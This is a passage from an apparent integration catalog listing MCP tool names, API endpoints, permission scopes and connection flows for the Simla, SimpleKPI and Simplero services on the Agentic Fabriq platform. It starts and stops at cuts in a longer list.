/api/v1/simla/api/v5/custom-fields/dictionaries/{code}/edit. Scopes: custom_fields_write. simla_post_api_v5_custom_fields_dictionaries_create (write) — Directory fields creation via POST /api/v5/custom-fields/dictionaries/create POST /api/v1/simla/api/v5/custom-fields/dictionaries/create. Scopes: custom_fields_write. simla_post_api_v5_customer_interaction_by_site_cart_clear (write) — Cleaning the current cart of the customer via POST /api/v5/customer-interaction/{site}/cart/clear POST /api/v1/simla/api/v5/customer-interaction/{site}/cart/clear. Scopes: customer_interaction_write. simla_post_api_v5_customer_interaction_by_site_cart_set (write) — Creating or overwriting cart data via POST /api/v5/customer-interaction/{site}/cart/set POST /api/v1/simla/api/v5/customer-interaction/{site}/cart/set. Scopes: customer_interaction_write. simla_post_api_v5_customer_interaction_by_site_favorites_by_customerid_add (write) — Adding a product offer to the customer's list of favorites via POST /api/v5/customer-interaction/{site}/favorites/{customerId}/add POST /api/v1/simla/api/v5/customer-interaction/{site}/favorites/{customerId}/add. Scopes: customer_interaction_write. simla_post_api_v5_customer_interaction_by_site_favorites_by_customerid_remove (write) — Deleting a product offer from the customer's list of favorites via POST /api/v5/customer-interaction/{site}/favorites/{customerId}/remove POST /api/v1/simla/api/v5/customer-interaction/{site}/favorites/{customerId}/remove. Scopes: customer_interaction_write. simla_post_api_v5_customers_by_externalid_edit (write) — Customer editing via POST /api/v5/customers/{externalId}/edit POST /api/v1/simla/api/v5/customers/{externalId}/edit. Scopes: customer_write. simla_post_api_v5_customers_by_externalid_subscriptions (write) — Subscribe/unsubscribe customer to mailings via POST /api/v5/customers/{externalId}/subscriptions POST /api/v1/simla/api/v5/customers/{externalId}/subscriptions. Scopes: customer_write. simla_post_api_v5_customers_combine (write, destructive) — Combining of customers via POST /api/v5/customers/combine POST /api/v1/simla/api/v5/customers/combine. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_addresses_by_entityexternalid_edit (write) — Editing the address of the corporate customer via POST /api/v5/customers-corporate/{externalId}/addresses/{entityExternalId}/edit POST /api/v1/simla/api/v5/customers-corporate/{externalId}/addresses/{entityExternalId}/edit. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_addresses_create (write) — Creating an address for a corporate customer via POST /api/v5/customers-corporate/{externalId}/addresses/create POST /api/v1/simla/api/v5/customers-corporate/{externalId}/addresses/create. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_companies_by_entityexternalid_edit (write) — Editing the company of the corporate customer via POST /api/v5/customers-corporate/{externalId}/companies/{entityExternalId}/edit POST /api/v1/simla/api/v5/customers-corporate/{externalId}/companies/{entityExternalId}/edit. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_companies_create (write) — Creating a company for a corporate customer via POST /api/v5/customers-corporate/{externalId}/companies/create POST /api/v1/simla/api/v5/customers-corporate/{externalId}/companies/create. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_contacts_by_entityexternalid_edit (write) — Editing the link between the corporate customer and the contact person via POST /api/v5/customers-corporate/{externalId}/contacts/{entityExternalId}/edit POST /api/v1/simla/api/v5/customers-corporate/{externalId}/contacts/{entityExternalId}/edit. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_contacts_create (write) — Creating a link between a corporate customer and a contact person via POST /api/v5/customers-corporate/{externalId}/contacts/create POST /api/v1/simla/api/v5/customers-corporate/{externalId}/contacts/create. Scopes: customer_write. simla_post_api_v5_customers_corporate_by_externalid_edit (write) — Corporate customer editing via POST /api/v5/customers-corporate/{externalId}/edit POST /api/v1/simla/api/v5/customers-corporate/{externalId}/edit. Scopes: customer_write. simla_post_api_v5_customers_corporate_combine (write, destructive) — Combining of corporate customers via POST /api/v5/customers-corporate/combine POST /api/v1/simla/api/v5/customers-corporate/combine. Scopes: customer_write. simla_post_api_v5_customers_corporate_create (write) — Corporate customer creation via POST /api/v5/customers-corporate/create POST /api/v1/simla/api/v5/customers-corporate/create. Scopes: customer_write. simla_post_api_v5_customers_corporate_fix_external_ids (write) — The mass recording of corporate customers external ID via POST /api/v5/customers-corporate/fix-external-ids POST /api/v1/simla/api/v5/customers-corporate/fix-external-ids. Scopes: customer_write. simla_post_api_v5_customers_corporate_notes_by_id_delete (write, destructive) — Note removing via POST /api/v5/customers-corporate/notes/{id}/delete POST /api/v1/simla/api/v5/customers-corporate/notes/{id}/delete. Scopes: customer_write. simla_post_api_v5_customers_corporate_notes_create (write) — Note creation via POST /api/v5/customers-corporate/notes/create POST /api/v1/simla/api/v5/customers-corporate/notes/create. Scopes: customer_write. simla_post_api_v5_customers_corporate_upload (write) — Packet corporate customers uploading via POST /api/v5/customers-corporate/upload POST /api/v1/simla/api/v5/customers-corporate/upload. Scopes: customer_write. simla_post_api_v5_customers_create (write) — Customer creation via POST /api/v5/customers/create POST /api/v1/simla/api/v5/customers/create. Scopes: customer_write. simla_post_api_v5_customers_fix_external_ids (write) — The mass recording of customers external ID via POST /api/v5/customers/fix-external-ids POST /api/v1/simla/api/v5/customers/fix-external-ids. Scopes: customer_write. simla_post_api_v5_customers_notes_by_id_delete (write, destructive) — Note removing via POST /api/v5/customers/notes/{id}/delete POST /api/v1/simla/api/v5/customers/notes/{id}/delete. Scopes: customer_write. simla_post_api_v5_customers_notes_create (write) — Note creation via POST /api/v5/customers/notes/create POST /api/v1/simla/api/v5/customers/notes/create. Scopes: customer_write. simla_post_api_v5_customers_push_tokens_batch (write) — Batch create/edit customer mobile app push tokens via POST /api/v5/customers/push-tokens/batch POST /api/v1/simla/api/v5/customers/push-tokens/batch. Scopes: customer_write. simla_post_api_v5_customers_upload (write) — Packet customers uploading via POST /api/v5/customers/upload POST /api/v1/simla/api/v5/customers/upload. Scopes: customer_write. simla_post_api_v5_delivery_calculate (write) — Calculation of the delivery cost via POST /api/v5/delivery/calculate POST /api/v1/simla/api/v5/delivery/calculate. Scopes: none. simla_post_api_v5_delivery_generic_by_subcode_tracking (write) — Updating of delivery statuses via POST /api/v5/delivery/generic/{subcode}/tracking POST /api/v1/simla/api/v5/delivery/generic/{subcode}/tracking. Scopes: delivery_write. simla_post_api_v5_delivery_shipments_by_id_edit (write) — Shipment editing via POST /api/v5/delivery/shipments/{id}/edit POST /api/v1/simla/api/v5/delivery/shipments/{id}/edit. Scopes: delivery_write. simla_post_api_v5_delivery_shipments_create (write) — Shipment creation via POST /api/v5/delivery/shipments/create POST /api/v1/simla/api/v5/delivery/shipments/create. Scopes: delivery_write. simla_post_api_v5_files_by_id_delete (write, destructive) — Deleting the file via POST /api/v5/files/{id}/delete POST /api/v1/simla/api/v5/files/{id}/delete. Scopes: file_write. simla_post_api_v5_files_by_id_edit (write) — Editing the file via POST /api/v5/files/{id}/edit POST /api/v1/simla/api/v5/files/{id}/edit. Scopes: file_write. simla_post_api_v5_integration_modules_by_code_edit (write) — Integration module creation/editing via POST /api/v5/integration-modules/{code}/edit POST /api/v1/simla/api/v5/integration-modules/{code}/edit. Scopes: integration_write. simla_post_api_v5_integration_modules_by_code_update_scopes (write) — Updating permissions for the API key via POST /api/v5/integration-modules/{code}/update-scopes POST /api/v1/simla/api/v5/integration-modules/{code}/update-scopes. Scopes: integration_write. simla_post_api_v5_loyalty_account_by_id_activate (write) — Activation of participation in the loyalty program via POST /api/v5/loyalty/account/{id}/activate POST /api/v1/simla/api/v5/loyalty/account/{id}/activate. Scopes: loyalty_write. simla_post_api_v5_loyalty_account_by_id_bonus_charge (write) — Charging off bonuses to a loyalty program participant via POST /api/v5/loyalty/account/{id}/bonus/charge POST /api/v1/simla/api/v5/loyalty/account/{id}/bonus/charge. Scopes: loyalty_write. simla_post_api_v5_loyalty_account_by_id_bonus_credit (write) — Accrual of bonuses for participation in the loyalty program via POST /api/v5/loyalty/account/{id}/bonus/credit POST /api/v1/simla/api/v5/loyalty/account/{id}/bonus/credit. Scopes: loyalty_write. simla_post_api_v5_loyalty_account_by_id_edit (write) — Editing participation in the loyalty program via POST /api/v5/loyalty/account/{id}/edit POST /api/v1/simla/api/v5/loyalty/account/{id}/edit. Scopes: loyalty_write. simla_post_api_v5_loyalty_account_create (write) — Adding a customer to the loyalty program via POST /api/v5/loyalty/account/create POST /api/v1/simla/api/v5/loyalty/account/create. Scopes: loyalty_write. simla_post_api_v5_loyalty_calculate (write) — Calculation of a maximum discount via POST /api/v5/loyalty/calculate POST /api/v1/simla/api/v5/loyalty/calculate. Scopes: loyalty_read. simla_post_api_v5_notifications_send (write) — Sending notification via POST /api/v5/notifications/send POST /api/v1/simla/api/v5/notifications/send. Scopes: notification_write. simla_post_api_v5_orders_by_externalid_delivery_cancel (write) — Cancellation of the integrated delivery via POST /api/v5/orders/{externalId}/delivery/cancel POST /api/v1/simla/api/v5/orders/{externalId}/delivery/cancel. Scopes: order_write. simla_post_api_v5_orders_by_externalid_edit (write) — Order editing via POST /api/v5/orders/{externalId}/edit POST /api/v1/simla/api/v5/orders/{externalId}/edit. Scopes: order_write. simla_post_api_v5_orders_combine (write, destructive) — Combining of orders via POST /api/v5/orders/combine POST /api/v1/simla/api/v5/orders/combine. Scopes: order_write. simla_post_api_v5_orders_create (write) — Order creation via POST /api/v5/orders/create POST /api/v1/simla/api/v5/orders/create. Scopes: order_write. simla_post_api_v5_orders_fix_external_ids (write) — The mass recording of orders external ID via POST /api/v5/orders/fix-external-ids POST /api/v1/simla/api/v5/orders/fix-external-ids. Scopes: order_write. simla_post_api_v5_orders_links_create (write) — Creating a link between orders via POST /api/v5/orders/links/create POST /api/v1/simla/api/v5/orders/links/create. Scopes: order_write. simla_post_api_v5_orders_loyalty_apply (write) — Applying bonuses according to the loyalty program via POST /api/v5/orders/loyalty/apply POST /api/v1/simla/api/v5/orders/loyalty/apply. Scopes: order_write. simla_post_api_v5_orders_loyalty_cancel_bonus_operations (write) — Cancellation of bonus operations on the Loyalty Program via POST /api/v5/orders/loyalty/cancel-bonus-operations POST /api/v1/simla/api/v5/orders/loyalty/cancel-bonus-operations. Scopes: order_write. simla_post_api_v5_orders_packs_by_id_delete (write, destructive) — Pack removing via POST /api/v5/orders/packs/{id}/delete POST /api/v1/simla/api/v5/orders/packs/{id}/delete. Scopes: order_write. simla_post_api_v5_orders_packs_by_id_edit (write) — Pack editing via POST /api/v5/orders/packs/{id}/edit POST /api/v1/simla/api/v5/orders/packs/{id}/edit. Scopes: order_write. simla_post_api_v5_orders_packs_create (write) — Pack creation via POST /api/v5/orders/packs/create POST /api/v1/simla/api/v5/orders/packs/create. Scopes: order_write. simla_post_api_v5_orders_payments_by_id_delete (write, destructive) — Payment removing via POST /api/v5/orders/payments/{id}/delete POST /api/v1/simla/api/v5/orders/payments/{id}/delete. Scopes: order_write. simla_post_api_v5_orders_payments_by_id_edit (write) — Payment editing via POST /api/v5/orders/payments/{id}/edit POST /api/v1/simla/api/v5/orders/payments/{id}/edit. Scopes: order_write. simla_post_api_v5_orders_payments_create (write) — Payment creation via POST /api/v5/orders/payments/create POST /api/v1/simla/api/v5/orders/payments/create. Scopes: order_write. simla_post_api_v5_orders_upload (write) — Packet orders uploading via POST /api/v5/orders/upload POST /api/v1/simla/api/v5/orders/upload. Scopes: order_write. simla_post_api_v5_payment_check (write) — Checking the invoice via POST /api/v5/payment/check POST /api/v1/simla/api/v5/payment/check. Scopes: payments_read. simla_post_api_v5_payment_create_invoice (write) — Creating an invoice via POST /api/v5/payment/create-invoice POST /api/v1/simla/api/v5/payment/create-invoice. Scopes: payments_write. simla_post_api_v5_payment_invoice_import (write) — Import the invoice via POST /api/v5/payment/invoice/import POST /api/v1/simla/api/v5/payment/invoice/import. Scopes: payments_write. simla_post_api_v5_payment_update_invoice (write) — Changing the invoice via POST /api/v5/payment/update-invoice POST /api/v1/simla/api/v5/payment/update-invoice. Scopes: payments_write. simla_post_api_v5_reference_cost_groups_by_code_edit (write) — Editing costs groups via POST /api/v5/reference/cost-groups/{code}/edit POST /api/v1/simla/api/v5/reference/cost-groups/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_cost_items_by_code_edit (write) — Editing costs items via POST /api/v5/reference/cost-items/{code}/edit POST /api/v1/simla/api/v5/reference/cost-items/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_couriers_by_id_edit (write) — Courier editing via POST /api/v5/reference/couriers/{id}/edit POST /api/v1/simla/api/v5/reference/couriers/{id}/edit. Scopes: reference_write. simla_post_api_v5_reference_couriers_create (write) — Courier creation via POST /api/v5/reference/couriers/create POST /api/v1/simla/api/v5/reference/couriers/create. Scopes: reference_write. simla_post_api_v5_reference_currencies_by_id_edit (write) — Currency editing via POST /api/v5/reference/currencies/{id}/edit POST /api/v1/simla/api/v5/reference/currencies/{id}/edit. Scopes: reference_write. simla_post_api_v5_reference_currencies_create (write) — Currency creation via POST /api/v5/reference/currencies/create POST /api/v1/simla/api/v5/reference/currencies/create. Scopes: reference_write. simla_post_api_v5_reference_delivery_services_by_code_edit (write) — Delivery service creation/editing via POST /api/v5/reference/delivery-services/{code}/edit POST /api/v1/simla/api/v5/reference/delivery-services/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_delivery_types_by_code_edit (write) — Delivery type creation/editing via POST /api/v5/reference/delivery-types/{code}/edit POST /api/v1/simla/api/v5/reference/delivery-types/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_legal_entities_by_code_edit (write) — Editing of information on legal entity via POST /api/v5/reference/legal-entities/{code}/edit POST /api/v1/simla/api/v5/reference/legal-entities/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_order_methods_by_code_edit (write) — Order method creation/editing via POST /api/v5/reference/order-methods/{code}/edit POST /api/v1/simla/api/v5/reference/order-methods/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_order_types_by_code_edit (write) — Order type creation/editing via POST /api/v5/reference/order-types/{code}/edit POST /api/v1/simla/api/v5/reference/order-types/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_payment_statuses_by_code_edit (write) — Payment status creation/editing via POST /api/v5/reference/payment-statuses/{code}/edit POST /api/v1/simla/api/v5/reference/payment-statuses/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_payment_types_by_code_edit (write) — Payment type creation/editing via POST /api/v5/reference/payment-types/{code}/edit POST /api/v1/simla/api/v5/reference/payment-types/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_price_types_by_code_edit (write) — Price type creation/editing via POST /api/v5/reference/price-types/{code}/edit POST /api/v1/simla/api/v5/reference/price-types/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_product_statuses_by_code_edit (write) — Item status creation/editing via POST /api/v5/reference/product-statuses/{code}/edit POST /api/v1/simla/api/v5/reference/product-statuses/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_push_categories_by_code_edit (write) — Create/edit customer mobile push notification category via POST /api/v5/reference/push-categories/{code}/edit POST /api/v1/simla/api/v5/reference/push-categories/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_sites_by_code_edit (write) — Store creation/editing via POST /api/v5/reference/sites/{code}/edit POST /api/v1/simla/api/v5/reference/sites/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_statuses_by_code_edit (write) — Order status creation/editing via POST /api/v5/reference/statuses/{code}/edit POST /api/v1/simla/api/v5/reference/statuses/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_stores_by_code_edit (write) — Creation/editing of information on warehouse via POST /api/v5/reference/stores/{code}/edit POST /api/v1/simla/api/v5/reference/stores/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_subscriptions_by_channel_by_code_edit (write) — Create/edit subscription category via POST /api/v5/reference/subscriptions/{channel}/{code}/edit POST /api/v1/simla/api/v5/reference/subscriptions/{channel}/{code}/edit. Scopes: reference_write. simla_post_api_v5_reference_units_by_code_edit (write) — Unit creation/edition via POST /api/v5/reference/units/{code}/edit POST /api/v1/simla/api/v5/reference/units/{code}/edit. Scopes: reference_write. simla_post_api_v5_store_inventories_upload (write) — Updating the leftover stocks and purchasing prices via POST /api/v5/store/inventories/upload POST /api/v1/simla/api/v5/store/inventories/upload. Scopes: store_write. simla_post_api_v5_store_prices_upload (write) — SKU prices updating via POST /api/v5/store/prices/upload POST /api/v1/simla/api/v5/store/prices/upload. Scopes: store_write. simla_post_api_v5_store_product_groups_by_externalid_edit (write) — Editing a product group via POST /api/v5/store/product-groups/{externalId}/edit POST /api/v1/simla/api/v5/store/product-groups/{externalId}/edit. Scopes: store_write. simla_post_api_v5_store_product_groups_create (write) — Adding a product group via POST /api/v5/store/product-groups/create POST /api/v1/simla/api/v5/store/product-groups/create. Scopes: store_write. simla_post_api_v5_store_products_batch_create (write) — Batch adding of products and services via POST /api/v5/store/products/batch/create POST /api/v1/simla/api/v5/store/products/batch/create. Scopes: store_write. simla_post_api_v5_store_products_batch_edit (write) — Batch editing of products and services via POST /api/v5/store/products/batch/edit POST /api/v1/simla/api/v5/store/products/batch/edit. Scopes: store_write. simla_post_api_v5_tasks_by_id_edit (write) — Task editing via POST /api/v5/tasks/{id}/edit POST /api/v1/simla/api/v5/tasks/{id}/edit. Scopes: task_write. simla_post_api_v5_tasks_create (write) — Task creation via POST /api/v5/tasks/create POST /api/v1/simla/api/v5/tasks/create. Scopes: task_write. simla_post_api_v5_telephony_call_event (write) — Call events via POST /api/v5/telephony/call/event POST /api/v1/simla/api/v5/telephony/call/event. Scopes: telephony_write. simla_post_api_v5_telephony_calls_upload (write) — Calls uploading via POST /api/v5/telephony/calls/upload POST /api/v1/simla/api/v5/telephony/calls/upload. Scopes: telephony_write. simla_post_api_v5_users_by_id_status (write) — Change user status via POST /api/v5/users/{id}/status POST /api/v1/simla/api/v5/users/{id}/status. Scopes: user_write. simla_post_api_v5_verification_sms_confirm (write) — Confirmation of verification via POST /api/v5/verification/sms/confirm POST /api/v1/simla/api/v5/verification/sms/confirm. Scopes: verification_write. simla_post_api_v5_web_analytics_client_ids_upload (write) — Batch uploading of web analytics clientId via POST /api/v5/web-analytics/client-ids/upload POST /api/v1/simla/api/v5/web-analytics/client-ids/upload. Scopes: web_analytics_write. simla_post_api_v5_web_analytics_sources_upload (write) — Batch uploading of sources via POST /api/v5/web-analytics/sources/upload POST /api/v1/simla/api/v5/web-analytics/sources/upload. Scopes: web_analytics_write. simla_post_api_v5_web_analytics_visits_upload (write) — Batch uploading of visits via POST /api/v5/web-analytics/visits/upload POST /api/v1/simla/api/v5/web-analytics/visits/upload. Scopes: web_analytics_write. ================================================================================ ## SimpleKPI URL: https://www.agenticfabriq.com/integrations/simplekpi Section: Integrated Tools SimpleKPI — 55 MCP tools Provider key: simplekpi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. simplekpi_delete_groups_by_group_id_items_by_id (write, destructive) — Delete group item via DELETE /groups/{group_id}/items/{id} DELETE /api/v1/simplekpi/groups/{group_id}/items/{id}. Scopes: api. simplekpi_delete_groups_by_id (write, destructive) — Delete group via DELETE /groups/{id} DELETE /api/v1/simplekpi/groups/{id}. Scopes: api. simplekpi_delete_kpicategories_by_category_id_kpis_by_id (write, destructive) — Delete kpi in category via DELETE /kpicategories/{category_id}/kpis/{id} DELETE /api/v1/simplekpi/kpicategories/{category_id}/kpis/{id}. Scopes: api. simplekpi_delete_kpicategories_by_id (write, destructive) — Delete kpi category via DELETE /kpicategories/{id} DELETE /api/v1/simplekpi/kpicategories/{id}. Scopes: api. simplekpi_delete_kpientries_by_id (write, destructive) — Delete kpi entry via DELETE /kpientries/{id} DELETE /api/v1/simplekpi/kpientries/{id}. Scopes: api. simplekpi_delete_kpis_by_id (write, destructive) — Delete kpi via DELETE /kpis/{id} DELETE /api/v1/simplekpi/kpis/{id}. Scopes: api. simplekpi_delete_kpiunits_by_id (write, destructive) — Delete kpi unit via DELETE /kpiunits/{id} DELETE /api/v1/simplekpi/kpiunits/{id}. Scopes: api. simplekpi_delete_users_by_id (write, destructive) — Delete user via DELETE /users/{id} DELETE /api/v1/simplekpi/users/{id}. Scopes: api. simplekpi_delete_users_by_user_id_groupitems_by_id (write, destructive) — Delete user group item via DELETE /users/{user_id}/groupitems/{id} DELETE /api/v1/simplekpi/users/{user_id}/groupitems/{id}. Scopes: api. simplekpi_delete_users_by_user_id_kpis_by_id (write, destructive) — Delete user kpi via DELETE /users/{user_id}/kpis/{id} DELETE /api/v1/simplekpi/users/{user_id}/kpis/{id}. Scopes: api. simplekpi_get_groups (read) — Get all groups via GET /groups GET /api/v1/simplekpi/groups. Scopes: api. simplekpi_get_groups_by_group_id_items (read) — Get all group items via GET /groups/{group_id}/items GET /api/v1/simplekpi/groups/{group_id}/items. Scopes: api. simplekpi_get_groups_by_group_id_items_by_id (read) — Get group item via GET /groups/{group_id}/items/{id} GET /api/v1/simplekpi/groups/{group_id}/items/{id}. Scopes: api. simplekpi_get_groups_by_id (read) — Get group via GET /groups/{id} GET /api/v1/simplekpi/groups/{id}. Scopes: api. simplekpi_get_kpicategories (read) — Get all kpi categories via GET /kpicategories GET /api/v1/simplekpi/kpicategories. Scopes: api. simplekpi_get_kpicategories_by_category_id_kpis (read) — Get all kpis in category via GET /kpicategories/{category_id}/kpis GET /api/v1/simplekpi/kpicategories/{category_id}/kpis. Scopes: api. simplekpi_get_kpicategories_by_category_id_kpis_by_id (read) — Get kpi in category via GET /kpicategories/{category_id}/kpis/{id} GET /api/v1/simplekpi/kpicategories/{category_id}/kpis/{id}. Scopes: api. simplekpi_get_kpicategories_by_id (read) — Get kpi category via GET /kpicategories/{id} GET /api/v1/simplekpi/kpicategories/{id}. Scopes: api. simplekpi_get_kpientries (read) — Get all kpi entries via GET /kpientries GET /api/v1/simplekpi/kpientries. Scopes: api. simplekpi_get_kpientries_by_id (read) — Get kpi entry via GET /kpientries/{id} GET /api/v1/simplekpi/kpientries/{id}. Scopes: api. simplekpi_get_kpifrequencies (read) — Get all kpi frequencies via GET /kpifrequencies GET /api/v1/simplekpi/kpifrequencies. Scopes: api. simplekpi_get_kpifrequencies_by_id (read) — Get kpi frequency via GET /kpifrequencies/{id} GET /api/v1/simplekpi/kpifrequencies/{id}. Scopes: api. simplekpi_get_kpiicons (read) — Get all kpi icons via GET /kpiicons GET /api/v1/simplekpi/kpiicons. Scopes: api. simplekpi_get_kpiicons_by_id (read) — Get kpi icon via GET /kpiicons/{id} GET /api/v1/simplekpi/kpiicons/{id}. Scopes: api. simplekpi_get_kpis (read) — Get all kpis via GET /kpis GET /api/v1/simplekpi/kpis. Scopes: api. simplekpi_get_kpis_by_id (read) — Get kpi via GET /kpis/{id} GET /api/v1/simplekpi/kpis/{id}. Scopes: api. simplekpi_get_kpiunits (read) — Get all kpi units via GET /kpiunits GET /api/v1/simplekpi/kpiunits. Scopes: api. simplekpi_get_kpiunits_by_id (read) — Get kpi unit via GET /kpiunits/{id} GET /api/v1/simplekpi/kpiunits/{id}. Scopes: api. simplekpi_get_reports_alldataentries (read) — Get all data entries via GET /reports/AllDataEntries GET /api/v1/simplekpi/reports/AllDataEntries. Scopes: api. simplekpi_get_users (read) — Get all users via GET /users GET /api/v1/simplekpi/users. Scopes: api. simplekpi_get_users_by_id (read) — Get user via GET /users/{id} GET /api/v1/simplekpi/users/{id}. Scopes: api. simplekpi_get_users_by_user_id_groupitems (read) — Get all user group items via GET /users/{user_id}/groupitems GET /api/v1/simplekpi/users/{user_id}/groupitems. Scopes: api. simplekpi_get_users_by_user_id_groupitems_by_id (read) — Get user group item via GET /users/{user_id}/groupitems/{id} GET /api/v1/simplekpi/users/{user_id}/groupitems/{id}. Scopes: api. simplekpi_get_users_by_user_id_kpis (read) — Get all user kpis via GET /users/{user_id}/kpis GET /api/v1/simplekpi/users/{user_id}/kpis. Scopes: api. simplekpi_get_users_by_user_id_kpis_by_id (read) — Get user kpi via GET /users/{user_id}/kpis/{id} GET /api/v1/simplekpi/users/{user_id}/kpis/{id}. Scopes: api. simplekpi_post_groups (write) — Add group via POST /groups POST /api/v1/simplekpi/groups. Scopes: api. simplekpi_post_groups_by_group_id_items (write) — Add group item via POST /groups/{group_id}/items POST /api/v1/simplekpi/groups/{group_id}/items. Scopes: api. simplekpi_post_kpicategories (write) — Add kpi category via POST /kpicategories POST /api/v1/simplekpi/kpicategories. Scopes: api. simplekpi_post_kpicategories_by_category_id_kpis (write) — Add kpi to category via POST /kpicategories/{category_id}/kpis POST /api/v1/simplekpi/kpicategories/{category_id}/kpis. Scopes: api. simplekpi_post_kpientries (write) — Add kpi entry via POST /kpientries POST /api/v1/simplekpi/kpientries. Scopes: api. simplekpi_post_kpientries_list (write) — Add update kpi entry list via POST /kpientries/list POST /api/v1/simplekpi/kpientries/list. Scopes: api. simplekpi_post_kpis (write) — Add kpi via POST /kpis POST /api/v1/simplekpi/kpis. Scopes: api. simplekpi_post_kpiunits (write) — Add kpi unit via POST /kpiunits POST /api/v1/simplekpi/kpiunits. Scopes: api. simplekpi_post_users (write) — Add user via POST /users POST /api/v1/simplekpi/users. Scopes: api. simplekpi_post_users_by_user_id_groupitems (write) — Add user group item via POST /users/{user_id}/groupitems POST /api/v1/simplekpi/users/{user_id}/groupitems. Scopes: api. simplekpi_post_users_by_user_id_kpis (write) — Add user kpi via POST /users/{user_id}/kpis POST /api/v1/simplekpi/users/{user_id}/kpis. Scopes: api. simplekpi_put_groups_by_group_id_items_by_id (write) — Update group item via PUT /groups/{group_id}/items/{id} PUT /api/v1/simplekpi/groups/{group_id}/items/{id}. Scopes: api. simplekpi_put_groups_by_id (write) — Update group via PUT /groups/{id} PUT /api/v1/simplekpi/groups/{id}. Scopes: api. simplekpi_put_kpicategories_by_category_id_kpis_by_id (write) — Update kpi in category via PUT /kpicategories/{category_id}/kpis/{id} PUT /api/v1/simplekpi/kpicategories/{category_id}/kpis/{id}. Scopes: api. simplekpi_put_kpicategories_by_id (write) — Update kpi category via PUT /kpicategories/{id} PUT /api/v1/simplekpi/kpicategories/{id}. Scopes: api. simplekpi_put_kpientries_by_id (write) — Update kpi entry via PUT /kpientries/{id} PUT /api/v1/simplekpi/kpientries/{id}. Scopes: api. simplekpi_put_kpis_by_id (write) — Update kpi via PUT /kpis/{id} PUT /api/v1/simplekpi/kpis/{id}. Scopes: api. simplekpi_put_kpiunits_by_id (write) — Update kpi unit via PUT /kpiunits/{id} PUT /api/v1/simplekpi/kpiunits/{id}. Scopes: api. simplekpi_put_users_by_id (write) — Update user via PUT /users/{id} PUT /api/v1/simplekpi/users/{id}. Scopes: api. simplekpi_put_users_by_user_id_kpis_by_id (write) — Update user kpi via PUT /users/{user_id}/kpis/{id} PUT /api/v1/simplekpi/users/{user_id}/kpis/{id}. Scopes: api. ================================================================================ ## Simplero URL: https://www.agenticfabriq.com/integrations/simplero Section: Integrated Tools Simplero — 815 MCP tools Provider key: simplero. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. simplero_delete_api_v2_attachments_by_id (write, destructive) — Delete an attachment via DELETE /api/v2/attachments/{id}. Removes the attachment from whatever it hangs off (lesson, product, page, …). The asset or worksheet it points at is left alone. Answers {"data": {...}}. DESTRUCTIVE: the DELETE verb. DELETE /api/v1/simplero/api/v2/attachments/{id}. Scopes: api. simplero_delete_api_v2_funnel_connectors_by_id (write, destructive) — Delete a funnel connector via DELETE /api/v2/funnel_connectors/{id}. Removes a branch from a split or condition step. The branch must be empty — remove any steps inside it first via `POST /api/v2/funnel_steps/:id/actions/archive`. Cannot delete the otherwise branch, or the last remaining non-otherwise branch. Answers {"data": {...}}. DESTRUCTIVE: the DELETE verb. DELETE /api/v1/simplero/api/v2/funnel_connectors/{id}. Scopes: api. simplero_delete_api_v2_landing_pages_by_id_builder_content_nodes_by_node_id (write, destructive) — Delete a builder doc node (landing pages) via DELETE /api/v2/landing_pages/{id}/builder/content/nodes/{node_id}. Removes a node from the tree. Pass publish_changes: true to publish the working version immediately. Answers {"data": {...}}. DESTRUCTIVE: the DELETE verb. DELETE /api/v1/simplero/api/v2/landing_pages/{id}/builder/content/nodes/{node_id}. Scopes: api. simplero_delete_api_v2_pages_by_id_builder_content_nodes_by_node_id (write, destructive) — Delete a builder doc node (pages) via DELETE /api/v2/pages/{id}/builder/content/nodes/{node_id}. Removes a node from the tree. Pass publish_changes: true to publish the working version immediately. Answers {"data": {...}}. DESTRUCTIVE: the DELETE verb. DELETE /api/v1/simplero/api/v2/pages/{id}/builder/content/nodes/{node_id}. Scopes: api. simplero_get_api_v2_access_grants (read) — List access grants via GET /api/v2/access_grants. Answers {"data": [...], "pagination": {page, per_page, total, total_pages, next_after}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. GET /api/v1/simplero/api/v2/access_grants. Scopes: api. simplero_get_api_v2_access_grants_by_id (read) — Get a access grant via GET /api/v2/access_grants/{id}. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a 